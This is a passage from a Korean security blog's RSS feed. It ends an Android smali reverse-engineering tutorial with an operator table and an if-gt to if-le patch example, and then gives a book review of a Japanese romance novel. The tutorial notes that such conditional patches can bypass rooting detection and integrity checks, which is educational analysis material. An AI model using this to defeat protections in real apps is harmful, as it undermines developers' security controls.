&lt;td style=&quot;background-color: #d9d9d9; height: 20px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;연산자&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9d9d9; height: 20px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;영문 설명&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;if-eq&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;A==B&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;equal to&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;if-ne&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;A!=B&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;not equal to&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;if-lt&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;A&amp;lt;B&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;less than&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;if-le&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;A&amp;lt;=B&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;less than or equal to&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;if-ge&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;A&amp;gt;=B&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;greater than or equal to&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;if-gt&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;A&amp;gt;B&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;span&gt;greater than&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;:cond_positive: 라벨이 있는 코드를 먼적 분석하면, 조건문이 참일 경우 실행되는 구문이다. smali 코드는 순차적으로 실행되다가 조건절이나 이동구문(goto 등)을 평가하여 특정라벨로 건너뛰어 실행한다. 라벨의 구문 실행이 완료되면, 이후 코드를 계속해서 실행한다.&lt;/li&gt;
&lt;li&gt;add-int/2addr v0, v2: 조건절이 참일 때 실행되는 구문이다. 두 개의 인자를 받아 덧셈의 결과를 v0에 저장한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;100%&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #4472c4;&quot;&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #4472c4;&quot;&gt;코드의 명령어와 레지스터&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;명령어에 따라 같은 기능을 수행함에도 필요한 레지스터의 개수가 다를 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;예를 들어 바이너리 연산&lt;span&gt;(binary operator, binop)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;중&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;add-int/2addr&lt;/span&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;add-int&lt;/span&gt;는 둘다 정수 덧셈 명령어이지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사용 방식과 목적에 차이가 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;● add-int/2addr vAA, VBB&lt;/span&gt;는 레지스터 두 개의 값을 더하여 그 결과를 다시&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;vAA&lt;/span&gt;에 저장하는 명령이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 명령은 덧셈 연산 후 결과를 피연산자에 다시 저장하기 때문에 추가 명령어나 레지스터를 사용하지 않아 주로 간단한 연산을 수행할 때 사용한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;● add-int vAA, vBB, vCC&lt;/span&gt;는 두 개의 레지스터&lt;span&gt;(vBB, vCC)&lt;/span&gt;의 값을 더하고 그 결과를 다른 레지스터&lt;span&gt;(vAA)&lt;/span&gt;에 저장하는 명령어이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 명령어는 연산 결과를&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;vAA&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;레지스터에 저장하므로 추가 레지스터를 사용한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;복잡한 계산 또는 중간 결과를 보존해야 하는 경우 사용한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;:end: 연산 이후 실행되는 ':end' 라벨의 명령어와 .line 9에서 이동하여 실행되는 명령 모두 이 라벨이 있는 줄로 이동한다. 연산의 결과는 v0 레지스터에 보관되어 있으므로 return v0 명령을 통해 cal 함수를 호출한 함수에게 v0의 값을 반환하고 함수를 종료한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드의 분석은 이와 같은 방식으로 진행한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;처음 접하는 부분이기 때문에 클래스와 함수 선언부터 다루었지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;많은 코드를 분석하게 되면 분석에 필요한 로직을 찾고 해당 코드의 실행 전후 코드를 분석하면 된다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 분석을 통해 넓은 범위에서의 리버싱을 다루었다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;완성된 앱 파일을 디컴파일하여 사람이 읽을 수 있는&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드로 변환하고 분석하였다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드의 실행을 한 줄씩 따라가보고 어떻게 구성되어 있는지 파악하다 보면 개발자가 어떤 기능을 의도하면서 개발했는지 보이는 순간이 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;분석의 즐거움을 느껴보길 바란다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석을 통해 구조를 파악한 후&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드 패치를 통해 내용을 수정하여 다른 기능을 수행하도록 변경할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;공식 문서를 참고하여 분석을 충분히 수행하고 명령어에서 필요로 하고 있는 인자의 자료형과 개수에 맞게 코드를 수정한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 코드에서는 조건문을 이용하여 함수의 인자를 비교한 다음 그 결과에 따라 연산자를 다르게 하여 결과를 반환한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;입력 받는 변수의 위치를 변경하거나&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;조건문의 조건절을 변경하는 방법 등을 사용하여 코드의 실행흐름을 바꿀 수 있다&lt;span&gt;. smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드는 수정이 가능하고 리패키징을 통해 다시 앱 설치 파일로 생성이 가능하기 때문에 코드 패치가 가능하다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;다음과 같이 코드 패치를 수행할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;구분&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;507&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;코드&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;94&quot;&gt;&lt;span&gt;기존 코드&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;507&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;if-gt&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;v0, v1, :cond_positive;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;94&quot;&gt;&lt;span&gt;변경 코드&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;507&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;if-le&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;v0, v1, :cond_positive;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;v0&lt;/span&gt;&lt;span&gt;의 값과&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;v1&lt;/span&gt;의 값을 비교하여&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;v0&lt;/span&gt;이 더 큰 경우 덧셈연산을 수행하는 기존 코드를 수정하여&lt;span&gt;, v0&lt;/span&gt;이&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;v1&lt;/span&gt;보다 작거나 같은 경우에 덧셈연산을 수행하도록 한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;분석 과정을 통해서 어떤 기능을 하는 코드인지 정확하게 파악을 했기 때문에 수정이 필요한 부분에 적절한 코드 패치를 적용할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;조건문 패치를 통한 검사 구문 우회는 루팅 탐지 우회&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;무결성 검사 등 앱에 구현된 많은 기능들에 활용할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <category>안드로이드 모의해킹</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/273</guid>
      <comments>https://gomguk.tistory.com/273#entry273comment</comments>
      <pubDate>Sat, 16 Nov 2024 16:08:16 +0900</pubDate>
    </item>
    <item>
      <title>[책 리뷰] 오늘 밤, 세계에서 이 사랑이 사라진다 해도</title>
      <link>https://gomguk.tistory.com/269</link>
      <description>&lt;figure style=&quot;background-color: #000000; text-align: right;&quot; contenteditable=&quot;false&quot; data-cs-data=&quot;{&amp;quot;title&amp;quot;:&amp;quot;오늘 밤, 세계에서 이 사랑이 사라진다 해도&amp;quot;,&amp;quot;image&amp;quot;:&amp;quot;http://t1.daumcdn.net/lbook/image/5750248?timestamp=20240914171132&amp;quot;,&amp;quot;url&amp;quot;:&amp;quot;https://search.daum.net/search?w=bookpage&amp;amp;bookId=5750248&amp;amp;tab=introduction&amp;amp;DA=YZR&amp;amp;q=%EC%98%A4%EB%8A%98+%EB%B0%A4%2C+%EC%84%B8%EA%B3%84%EC%97%90%EC%84%9C+%EC%9D%B4+%EC%82%AC%EB%9E%91%EC%9D%B4+%EC%82%AC%EB%9D%BC%EC%A7%84%EB%8B%A4+%ED%95%B4%EB%8F%84&amp;quot;,&amp;quot;authors&amp;quot;:[&amp;quot;이치조 미사키&amp;quot;],&amp;quot;publicationDate&amp;quot;:&amp;quot;2021-06-28&amp;quot;,&amp;quot;publisher&amp;quot;:&amp;quot;모모&amp;quot;,&amp;quot;desc&amp;quot;:&amp;quot;밤에 자고 일어나면 기억이 리셋되는 &amp;lsquo;선행성 기억상실증&amp;rsquo;을 앓는 소녀 히노 마오리와 무미건조한 인생을 살고 있는 평범한 고등학생 가미야 도루의 풋풋하고 애틋한 사랑 이야기『오늘 밤, 세계에서 이 사랑이 사라진다 해도』. 선행성 기억상실증이라는 익숙한 소재를 매우 수준 높은 청춘 소설로 탄생시켰다는 극찬을 받으며 제26회 전격소설대상 &amp;lsquo;미디어워크스문고상&amp;rsquo;을 수상한 이 작품은 간질간질한 청춘의 로맨스를 전혀 예측할 수 없는 국면으로 끌고 가, 깐깐하고 엄격한 심사위원 모두를 눈물 흘리게 만들었다는 흥미로운 뒷이야기를 남긴 소설이기도 하다.\n\n무미건조한 인생을 살고 있는 고등학교 2학년생 가미야 도루. 괴롭힘당하는 친구를 돕기 위해 나섰다가 의도치 않은 일에 휘말린다. &amp;ldquo;1반의 히노 마오리에게 고백하면 더 이상 괴롭히지 않을게.&amp;rdquo; 어쩔 수 없이 하게 된 거짓 고백. 당연히 거절당할 줄 알았지만, 히노는 세 가지 조건을 내걸고 고백을 받아들인다. &amp;ldquo;첫째, 학교 끝날 때까지 서로 말 걸지 말 것. 둘째, 연락은 되도록 짧게 할 것. 셋째, 날 정말로 좋아하지 말 것.&amp;rdquo; 그렇게 시작한 가짜 연애. 함께 보내는 시간이 쌓여갈수록 히노를 향한 마음은 점점 커져가고, 도루는 세 번째 조건을 깨고 고백을 하고 만다. 그리고 충격적인 사실을 알게 되는데&amp;hellip;. &amp;ldquo;나는 병이 있어. 선행성 기억상실증이라고 하는데, 밤에 자고 일어나면 잊어버려. 그날 있었던 일을 전부.&amp;rdquo; 날마다 기억을 잃는 히노와 매일 새로운 사랑을 쌓아가는 날들. 도루는 히노의 내일을 언제까지고 지켜줄 수 있을까? 이들의 관계를 뒤흔들 어두운 그늘의 정체는 무엇일까?&amp;quot;}&quot; data-cs-kind=&quot;book&quot; data-ke-align=&quot;alignRight&quot; data-ke-type=&quot;contentSearch&quot;&gt;&lt;a style=&quot;color: #0070d1; text-align: left;&quot; href=&quot;https://search.daum.net/search?w=bookpage&amp;amp;bookId=5750248&amp;amp;tab=introduction&amp;amp;DA=YZR&amp;amp;q=%EC%98%A4%EB%8A%98+%EB%B0%A4%2C+%EC%84%B8%EA%B3%84%EC%97%90%EC%84%9C+%EC%9D%B4+%EC%82%AC%EB%9E%91%EC%9D%B4+%EC%82%AC%EB%9D%BC%EC%A7%84%EB%8B%A4+%ED%95%B4%EB%8F%84&quot;&gt;
&lt;div style=&quot;background-image: url('http://t1.daumcdn.net/lbook/image/5750248?timestamp=20240914171132');&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;position: relative; padding: 38px 30px 32px 40px; width: 388px; box-sizing: border-box; display: flex; flex-direction: column;&quot;&gt;&lt;span style=&quot;font-size: 18px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: 20px; letter-spacing: -1px; color: #000000; margin-bottom: 8px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;&quot;&gt;오늘 밤, 세계에서 이 사랑이 사라진다 해도&lt;/span&gt;
&lt;div style=&quot;position: relative; font-size: 13px; font-stretch: normal; font-style: normal; line-height: 1.38; letter-spacing: normal; color: #909090; max-height: 38px; overflow: hidden; text-overflow: ellipsis; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical;&quot;&gt;밤에 자고 일어나면 기억이 리셋되는 &amp;lsquo;선행성 기억상실증&amp;rsquo;을 앓는 소녀 히노 마오리와 무미건조한 인생을 살고 있는 평범한 고등학생 가미야 도루의 풋풋하고 애틋한 사랑 이야기『오늘 밤, 세계에서 이 사랑이 사라진다 해도』. 선행성 기억상실증이라는 익숙한 소재를 매우 수준 높은 청춘 소설로 탄생시켰다는 극찬을 받으며 제26회 전격소설대상 &amp;lsquo;미디어워크스문고상&amp;rsquo;을 수상한 이 작품은 간질간질한 청춘의 로맨스를 전혀 예측할 수 없는 국면으로 끌고 가, 깐깐하고 엄격한 심사위원 모두를 눈물 흘리게 만들었다는 흥미로운 뒷이야기를 남긴 소설이기도 하다. 무미건조한 인생을 살고 있는 고등학교 2학년생 가미야 도루. 괴롭힘당하는 친구를 돕기 위해 나섰다가 의도치 않은 일에 휘말린다. &amp;ldquo;1반의 히노 마오리에게 고백하면 더 이상 괴롭히지 않을게.&amp;rdquo; 어쩔 수 없이 하게 된 거짓 고백. 당연히 거절당할 줄 알았지만, 히노는 세 가지 조건을 내걸고 고백을 받아들인다. &amp;ldquo;첫째, 학교 끝날 때까지 서로 말 걸지 말 것. 둘째, 연락은 되도록 짧게 할 것. 셋째, 날 정말로 좋아하지 말 것.&amp;rdquo; 그렇게 시작한 가짜 연애. 함께 보내는 시간이 쌓여갈수록 히노를 향한 마음은 점점 커져가고, 도루는 세 번째 조건을 깨고 고백을 하고 만다. 그리고 충격적인 사실을 알게 되는데&amp;hellip;. &amp;ldquo;나는 병이 있어. 선행성 기억상실증이라고 하는데, 밤에 자고 일어나면 잊어버려. 그날 있었던 일을 전부.&amp;rdquo; 날마다 기억을 잃는 히노와 매일 새로운 사랑을 쌓아가는 날들. 도루는 히노의 내일을 언제까지고 지켜줄 수 있을까? 이들의 관계를 뒤흔들 어두운 그늘의 정체는 무엇일까?&lt;/div&gt;
&lt;div style=&quot;position: relative; margin-top: auto;&quot;&gt;
&lt;dl style=&quot;display: block; overflow: hidden; position: relative; margin-block: 0px;&quot;&gt;
&lt;dt style=&quot;position: absolute; top: 0px; left: 0px; font-size: 13px; font-stretch: normal; font-style: normal; line-height: 1; letter-spacing: normal; color: #909090;&quot;&gt;저자&lt;/dt&gt;
&lt;dd style=&quot;display: block; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: #555555; font-size: 13px; font-stretch: normal; font-style: normal; line-height: 1; letter-spacing: normal; margin-left: 46px;&quot;&gt;이치조 미사키&lt;/dd&gt;
&lt;/dl&gt;
&lt;dl style=&quot;display: block; overflow: hidden; position: relative; margin-block: 0px; margin-top: 12px;&quot;&gt;
&lt;dt style=&quot;position: absolute; top: 0px; left: 0px; font-size: 13px; font-stretch: normal; font-style: normal; line-height: 1; letter-spacing: normal; color: #909090;&quot;&gt;출판&lt;/dt&gt;
&lt;dd style=&quot;display: block; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: #555555; font-size: 13px; font-stretch: normal; font-style: normal; line-height: 1; letter-spacing: normal; margin-left: 46px;&quot;&gt;모모&lt;/dd&gt;
&lt;/dl&gt;
&lt;dl style=&quot;display: block; overflow: hidden; position: relative; margin-block: 0px; margin-top: 12px;&quot;&gt;
&lt;dt style=&quot;position: absolute; top: 0px; left: 0px; font-size: 13px; font-stretch: normal; font-style: normal; line-height: 1; letter-spacing: normal; color: #909090;&quot;&gt;출판일&lt;/dt&gt;
&lt;dd style=&quot;display: block; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: #555555; font-size: 13px; font-stretch: normal; font-style: normal; line-height: 1; letter-spacing: normal; margin-left: 46px;&quot;&gt;2021.06.28&lt;/dd&gt;
&lt;/dl&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;들어가며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;밤이 지나면 기억을 잊어버리는 &quot;선행성 기억상실증&quot;을 앓는 소녀 히노 마오리와 평범한 고등학생인 카미야 토루의 사랑 이야기.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;일본에서 로맨스 소설로 전격 소설대상 &quot;미디어 워크스 문고상&quot;&amp;nbsp; 입상&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;동명의 영화가 제작된 소설이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;줄거리&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;약간의 스포일러가 포함되어 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;그냥 아름다울일 뿐인, 내게는 아무 의미도 없을 여자애가 말했다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;첫째,&amp;nbsp;학교&amp;nbsp;끝날&amp;nbsp;때까지&amp;nbsp;서로&amp;nbsp;말&amp;nbsp;걸지&amp;nbsp;말&amp;nbsp;것.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;둘째,&amp;nbsp;연락은&amp;nbsp;되도록&amp;nbsp;짧게&amp;nbsp;할&amp;nbsp;것.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;마지막으로&amp;nbsp;셋째,&amp;nbsp;날&amp;nbsp;정말로&amp;nbsp;좋아하지&amp;nbsp;말&amp;nbsp;것&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;모르는 남자애의, 모르는 여자애 (知らない彼の、知らない彼女)&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;가미야&amp;nbsp;도루는&amp;nbsp;거짓&amp;nbsp;고백으로&amp;nbsp;고등학생의&amp;nbsp;사랑을&amp;nbsp;시작한다.&amp;nbsp;히노&amp;nbsp;마오리는&amp;nbsp;'선행성&amp;nbsp;기억상실증'을&amp;nbsp;잃고&amp;nbsp;있고,&amp;nbsp;도루를&amp;nbsp;'나의&amp;nbsp;남자친구님'이라고&amp;nbsp;부른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR'; color: #333333; text-align: start;&quot;&gt;그렇게&amp;nbsp;조건&amp;nbsp;연애를&amp;nbsp;시작하다가&amp;nbsp;도루는&amp;nbsp;마오리를&amp;nbsp;진심으로&amp;nbsp;좋아하게&amp;nbsp;되고&amp;nbsp;마오리는&amp;nbsp;자신이&amp;nbsp;처한&amp;nbsp;상황에&amp;nbsp;대해&amp;nbsp;알려준다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;내일의 히노도 내가 즐겁게 해줄게&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
